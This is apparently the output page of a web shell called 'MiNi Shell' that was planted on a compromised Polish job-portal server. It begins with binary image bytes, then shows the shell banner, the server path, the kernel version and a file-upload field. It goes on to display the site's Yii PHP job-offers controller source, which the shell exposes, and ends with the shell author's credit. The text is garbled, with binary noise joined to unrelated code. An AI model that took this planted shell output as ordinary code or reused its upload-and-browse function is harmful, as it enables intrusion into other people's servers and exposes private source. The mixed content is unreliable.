JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/controllers/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/controllers/OfertypracyController.php

<?php
namespace frontend\controllers;

use Yii;
use yii\web\Controller;
use yii\helpers\ArrayHelper;
use yii\data\ActiveDataProvider;
use common\models\JobOffers;
use common\models\JobOffersCategories;
use common\models\JobOffersSources;
use common\models\types\Status;
use common\models\types\ContactDataType;
use frontend\models\JobOffersSearchForm;
use frontend\models\JobOfferForm;
use yii\web\NotFoundHttpException;

/**
 * Ofertypracy controller
 */
class OfertypracyController extends Controller
{
    use \frontend\components\traits\SeoFunctions;
    
    //@todo proteza do czasu przeniesienia regionów na powiązane ID
    protected static $regionsMap = [
        'dolnośląskie' => 1,
        'kujawsko-pomorskie' => 2,
        'lubelskie' => 3,
        'lubuskie' => 4,
        'łódzkie' => 5,
        'małopolskie' => 6,
        'mazowieckie' => 7,
        'opolskie' => 8,
        'podkarpackie' => 9,
        'podlaskie' => 10,
        'pomorskie' => 11,
        'śląskie' => 12,
        'świętokrzyskie' => 13,
        'warmińsko-mazurskie' => 14,
        'wielkopolskie' => 15,
        'zachodniopomorskie' => 16
    ];
    
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
            'captcha' => [
                'class' => 'yii\captcha\CaptchaAction',
//                'fixedVerifyCode' => 'dupa123'
            ],
        ];
    }
    
    public function behaviors()
    {
        $behaviors = parent::behaviors();
        $behaviors['portalDataSets'] = [
            'class' => \frontend\components\filters\PortalDataSetsFilter::class,
            'dataSetsKey' => 'job_offers'
        ];
        return $behaviors;
    }
    
    protected function applyFilters($modelForm, $query)
    {
        $modelForm->load(Yii::$app->request->queryParams);
        
        if(!$modelForm->validate()) {
            return false;
        }
        
        $query->andFilterWhere([
            'job_offers.id_region' => $modelForm->id_region
        ]);
        
        $query->andFilterWhere(['>=', 'job_offers.publication_start_date', $modelForm->start_date]);
        $query->andFilterWhere(['<=', 'job_offers.publication_start_date', $modelForm->end_date]);
        
        $query->andFilterWhere(['ilike', 'job_offers.title', $modelForm->phrase]);
        $query->andFilterWhere(['ilike', 'job_offers.locality', $modelForm->locality]);
        
        return true;        
    }
    
    protected function getBaseQuery($idCategory = null)
    {
        $query = JobOffers::find()
                ->select([
                    'job_offers.id_offer', 'job_offers.id_company', 'job_offers.id_source', 'job_offers.title', 'job_offers.locality', 'job_offers.id_region',
                    'job_offers.or_foreign', 'job_offers.id_promotion_type', 'job_offers.publication_start_date', 'job_offers.publication_end_date',
                    'job_offers.promotion_start_date', 'job_offers.promotion_end_date'
                ])
                ->with(['region', 'promotionType', 'company'])
                ->join('INNER JOIN', 'job_offers_has_job_offers_categories', 'job_offers_has_job_offers_categories.id_offer = job_offers.id_offer')
                ->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
                ->join('INNER JOIN', 'job_offers_promotions_types', 'job_offers_promotions_types.id_promotion_type = job_offers.id_promotion_type')
                ->join('INNER JOIN', 'regions', 'regions.id_region = job_offers.id_region')
                ->join('LEFT JOIN', 'companies', 'companies.id_company = job_offers.id_company')
                ->where([
                    'portals_has_job_offers_categories.id_portal' => Yii::$app->params['modelPortal']->id_portal,
                    'job_offers.status' => Status::ACTIVE
                ])
                ->andWhere(['>=', 'job_offers.publication_end_date', date('Y-m-d')])
                ;
        
        if(!empty($idCategory)) {
            $query->andWhere(['job_offers_has_job_offers_categories.id_category' => intval($idCategory)]);
        }
        
        return $query;
    }
    
    protected function getCategoriesTree()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $categoriesTree = [];
        $categories = JobOffersCategories::find()
                ->select(['job_offers_categories.name', 'job_offers_categories.id_category', 'job_offers_categories.description', 'portals_has_job_offers_categories.or_promoted'])
                ->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_categories.id_category')
                ->where([
                    'job_offers_categories.status' => Status::ACTIVE,
                    'portals_has_job_offers_categories.id_portal' => $modelPortal->id_portal
                ])
                ->orderBy('job_offers_categories.name')
                ->asArray()
                ->all();
        
        if(!empty($categories)) {
            foreach($categories as $category) {
                $categoriesTree[] = [
                    'id' => $category['id_category'],
                    'text' => $category['name'],
                    'depth' => 1,
                    'data' => ['description' => $category['description'], 'or_promoted' => $category['or_promoted']],
                    'children' => []
                ];
            }
        }
        unset($categories);
        
        return $categoriesTree;
    }
    
    protected function getPromotedCategoriesTree($categoriesTree)
    {
        if(empty($categoriesTree)) {
            return [];
        }
        
        $outputCategoriesTree = [];
        foreach($categoriesTree as $category) {
            if(intval($category['data']['or_promoted']) === 1) {
                $outputCategoriesTree[] = [
                    'id' => $category['id'],
                    'text' => $category['text'],
                    'depth' => 1,
                    'data' => ['description' => $category['data']['description'], 'or_promoted' => $category['data']['or_promoted']],
                    'children' => []
                ];
            }
        }
        
        return $outputCategoriesTree;
    }

    public function actionIndex()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $categoriesTree = $this->getCategoriesTree();
        $promotedCategoriesTree = $this->getPromotedCategoriesTree($categoriesTree);

        $mainCategories = \yii\helpers\ArrayHelper::getColumn($categoriesTree, 'text');

        $this->setSeoMetadata('job offers', [
             'title' => [],
             'keywords' => [implode(", ", $mainCategories)], //'{kategorie głównego poziomu}'
             'description' => [implode(", ", $mainCategories), $modelPortal->domain] //'{kategorie głównego poziomu}','{domena}'
        ]); 
        
        return $this->render('index', [
            'categoriesTree' => $categoriesTree,
            'promotedCategoriesTree' => $promotedCategoriesTree
        ]);
    }
    
    public function actionLista($id_category = null, $slug = null)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        $modelCategory = null;
        if(!empty($id_category)) {
            $modelCategory = JobOffersCategories::find()
                ->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_categories.id_category')
                ->where([
                    'job_offers_categories.status' => Status::ACTIVE,
                    'portals_has_job_offers_categories.id_portal' => $modelPortal->id_portal,
                    'job_offers_categories.id_category' => intval($id_category)
                ])
                ->one();
            if($modelCategory === null) {
                throw new NotFoundHttpException('Not found selected category.');
            }
        }
        
        $modelsJobOffersSources = JobOffersSources::find()->where(['status' => Status::ACTIVE])->indexBy('id_source')->all();
        
        $categoriesTree = $this->getCategoriesTree();
        $promotedCategoriesTree = $this->getPromotedCategoriesTree($categoriesTree);
        
        $modelSearchForm = new JobOffersSearchForm();
        
        if(Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelSearchForm->load(Yii::$app->request->queryParams)) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelSearchForm);
        }
        
        $query = $this->getBaseQuery($id_category);        
        $flag = $this->applyFilters($modelSearchForm, $query);
        if(!$flag) {
            throw new NotFoundHttpException(Yii::t('frontend', 'Błędne parametry filtrów.'));
        }
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 20,
            ],
            'sort' => [
                'attributes' => [
                    'title',
                    'publication_start_date',
                    'locality',
                    'region_name' => [
                        'asc' => ['regions.name' => SORT_ASC],
                        'desc' => ['regions.name' => SORT_DESC],
                        'default' => ['regions.name' => SORT_ASC],
                        'label' => Yii::t('frontend', 'Województwo')
                    ],
                ],
                'defaultOrder' => [
                    'publication_start_date' => SORT_DESC
                ],
            ]
        ]);
        
        $this->setSeoMetadata('joboffers_listing', [
             'title' => [$modelPortal->domain], //'{domena}'
             'keywords' => [],
             'description' => [$modelPortal->domain] //'{domena}'
        ]);         

        return $this->render('list', [
            'dataProvider' => $dataProvider,
            'modelSearchForm' => $modelSearchForm,
            'categoriesTree' => $categoriesTree,
            'promotedCategoriesTree' => $promotedCategoriesTree,
            'modelCategory' => $modelCategory,
            'modelsJobOffersSources' => $modelsJobOffersSources
        ]);
    }   
    
    public function actionSzczegoly($id, $slug = null)
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $jobOffer = JobOffers::find()
                ->select(['job_offers.id_offer', 'job_offers.id_source', 'job_offers.id_company', 'job_offers.title'])
                ->join('INNER JOIN', 'job_offers_has_job_offers_categories', 'job_offers_has_job_offers_categories.id_offer = job_offers.id_offer')
                ->join('INNER JOIN', 'job_offers_categories', 'job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
                ->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_has_job_offers_categories.id_category')
                ->where([
                    'job_offers.id_offer' => $id, 
                    'portals_has_job_offers_categories.id_portal' => $modelPortal->id_portal,
                    'job_offers_categories.status' => Status::ACTIVE,
                    'job_offers.status' => Status::ACTIVE
                ])
                ->andWhere(['>=', 'job_offers.publication_end_date', date('Y-m-d')])
                ->asArray()
                ->one();
        if($jobOffer === null) {
            throw new NotFoundHttpException('Not found selected advertisement.');
        }
        
        $this->setSeoMetadata('joboffers_details', [
             'title' => [$jobOffer['title'], $modelPortal->domain], //'{tytuł ogłoszenia}','{domena}'
             'keywords' => [$jobOffer['title'], $modelPortal->domain], //'{tytuł ogłoszenia}','{domena}'
             'description' => [$jobOffer['title']] //'{tytuł ogłoszenia}'
        ]);        
        
        return $this->render('view', [
            'idOffer' => $jobOffer['id_offer'],
            'idCompany' => $jobOffer['id_company'],
            'idSource' => $jobOffer['id_source'],
        ]);
    }  
    
    public function actionNowa()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $breadcrumbs = [
            ['label' => Yii::t('frontend', 'Oferty pracy'), 'url' => ['ofertypracy/index']]
        ];
        $breadcrumbs[] = Yii::t('frontend', 'Nowa');
        
        if(Yii::$app->user->isGuest) {
            $this->layout = 'vmanager';
            return $this->render('//shared/do_you_have_account', [
                'title' => 'vManager - oferty pracy',
                'breadcrumbs' => $breadcrumbs
            ]);
        }
        
        $modelUser = Yii::$app->user->getIdentity();
        if($modelUser->profile !== \common\models\types\UserProfile::COMPANY || !$modelUser->getCompanies()->andWhere(['status' => Status::ACTIVE])->exists()) {
            return $this->render('create', [
                'warningMessage' => 'Aby dodać ofertę pracy musisz posiadać konto firmowe z przypisaną przynajmniej jedną firmą.', 
                'breadcrumbs' => $breadcrumbs
            ]);
        }
        $userCompaniesData = $this->getUserCompaniesData($modelUser);
                
        $modelForm = new JobOfferForm(['idUser' => $modelUser->id_user]);
        
        if(!empty($userCompaniesData)) {
            reset($userCompaniesData);
            foreach($userCompaniesData as $idCompany => $userCompanyData) {
                $modelForm->id_company = $idCompany;
                $modelForm->email = $userCompanyData['email'];
                $modelForm->phone = $userCompanyData['phone'];
                $modelForm->locality = $userCompanyData['locality'];
                $modelForm->id_region = $userCompanyData['id_region'];
                break;
            }            
            reset($userCompaniesData);
        }   

        $queryForCategories = JobOffersCategories::find()
                ->select(['job_offers_categories.name', 'job_offers_categories.id_category'])
                ->where([
                    'job_offers_categories.status' => Status::ACTIVE,
                ])
                ->orderBy('job_offers_categories.name')
                ->asArray();
        
        $categories = ArrayHelper::map($queryForCategories->all(), 'id_category', 'name');
        
        $queryForCategories->join('INNER JOIN', 'portals_has_job_offers_categories', 'portals_has_job_offers_categories.id_category = job_offers_categories.id_category')
                ->andWhere(['portals_has_job_offers_categories.id_portal' => $modelPortal->id_portal]);
        
        $categoriesOnPortal = ArrayHelper::map($queryForCategories->all(), 'id_category', 'name');

        $outputParams = [
            'modelForm' => $modelForm,
            'userCompaniesData' => $userCompaniesData,
            'breadcrumbs' => $breadcrumbs,
            'categories' => $categories,
            'categoriesOnPortal' => $categoriesOnPortal,
            'warningMessage' => null,
        ];
        
        if(Yii::$app->request->isAjax && !Yii::$app->request->isPjax) {
            $postData = Yii::$app->request->post();
            unset($postData['JobOfferForm']['captcha']);
            if($modelForm->load($postData)) {
                Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
                return \yii\bootstrap\ActiveForm::validate($modelForm, ['id_company', 'listCategories', 'id_region']);
            }
        }
        
        if(Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Formularz zawiera błędy.'));
                return $this->render('create', $outputParams);
            }        
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(empty($smtpSettings)) {
                $flag = false;
            }
            
            $flag = $flag && $modelForm->save();

            if($flag) {                
                //wysyłamy potwierdzenie dodania oferty pracy (###MAIL_XXX###)
//                $mailer = Yii::$app->mailer;
//                $mailer->htmlLayout = 'layouts/main-html';      
//                $mailer->textLayout = 'layouts/main-text';   
//                $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
//                    ->setUsername($smtpSettings['username'])
//                    ->setPassword($smtpSettings['password']);                   
//                $flag = $mailer->compose(
//                        [
//                            'html' => 'submitting_advertisement_html',
//                            'text' => 'submitting_advertisement_text'
//                        ],
//                        [
//                            'domain' => $modelPortal->domain,
//                        ]
//                    )
//                    ->setFrom([$smtpSettings['username'] => $modelPortal->domain.' - system vManager'])
//                    ->setTo($modelForm->email)
//                    ->setSubject(Yii::t('common-mails', 'Twoje ogłoszenie nr {id} zostało przyjęte do weryfikacji', ['id' => $modelForm->getIdAdvertisement()]))
//                    ->send();
            }
            
            if($flag) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('frontend', 'Oferta pracy została dodana.'));
            } else {                
                $transaction->rollBack();
                $modelForm->deleteUploadedFiles();
                Yii::$app->session->addFlash('error', Yii::t('frontend', 'Błąd podczas zapisu.'));                
            }
            
            return $this->redirect(Yii::$app->request->getUrl());
        }
        
        return $this->render('create', $outputParams);
    } 
    
    protected function getUserCompaniesData($modelUser)
    {        
        $outputData = [];
                            
        $modelsCompanies = \common\models\Companies::find()
                    ->with(['contactData' => function($q) { $q->orderBy('data_order'); }])
                    ->where([
                        'id_user' => $modelUser->id_user, 
                        'status' => Status::ACTIVE
                    ])
                    ->orderBy('name')
                    ->all();
        if(!empty($modelsCompanies)) {
            foreach($modelsCompanies as $modelCompany) {
                $addressHash = $modelCompany->region.$modelCompany->locality;
                $company = [
                    'id_company' => $modelCompany->id_company,
                    'company_name' => $modelCompany->name,
                    'email' => null,
                    'phone' => null,                    
                    'locality' => $modelCompany->locality,
                    'id_region' => isset(self::$regionsMap[$modelCompany->region]) ? self::$regionsMap[$modelCompany->region] : 1,
                    'region_name' => $modelCompany->region,
                    'addresses' => [
                        $addressHash => [
                            'locality' => $modelCompany->locality,
                            'id_region' => isset(self::$regionsMap[$modelCompany->region]) ? self::$regionsMap[$modelCompany->region] : 1,
                            'region_name' => $modelCompany->region,
                        ]
                    ]
                ];
                
                if(!empty($modelCompany->contactData)) {
                    foreach($modelCompany->contactData as $modelContactData) {
                        if($modelContactData->data_type === ContactDataType::EMAIL) {
                            if(empty($company['email'])) {
                                $company['email'] = $modelContactData->data_value;
                            } 
                        } elseif($modelContactData->data_type === ContactDataType::MOBILE_PHONE || $modelContactData->data_type === ContactDataType::PHONE) {
                            if(empty($company['phone'])) {
                                $company['phone'] = $modelContactData->data_value;
                            } 
                        } 
                    }
                }                
                
                $outputData[$modelCompany->id_company] = $company;
            }
        }
        
        return $outputData;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com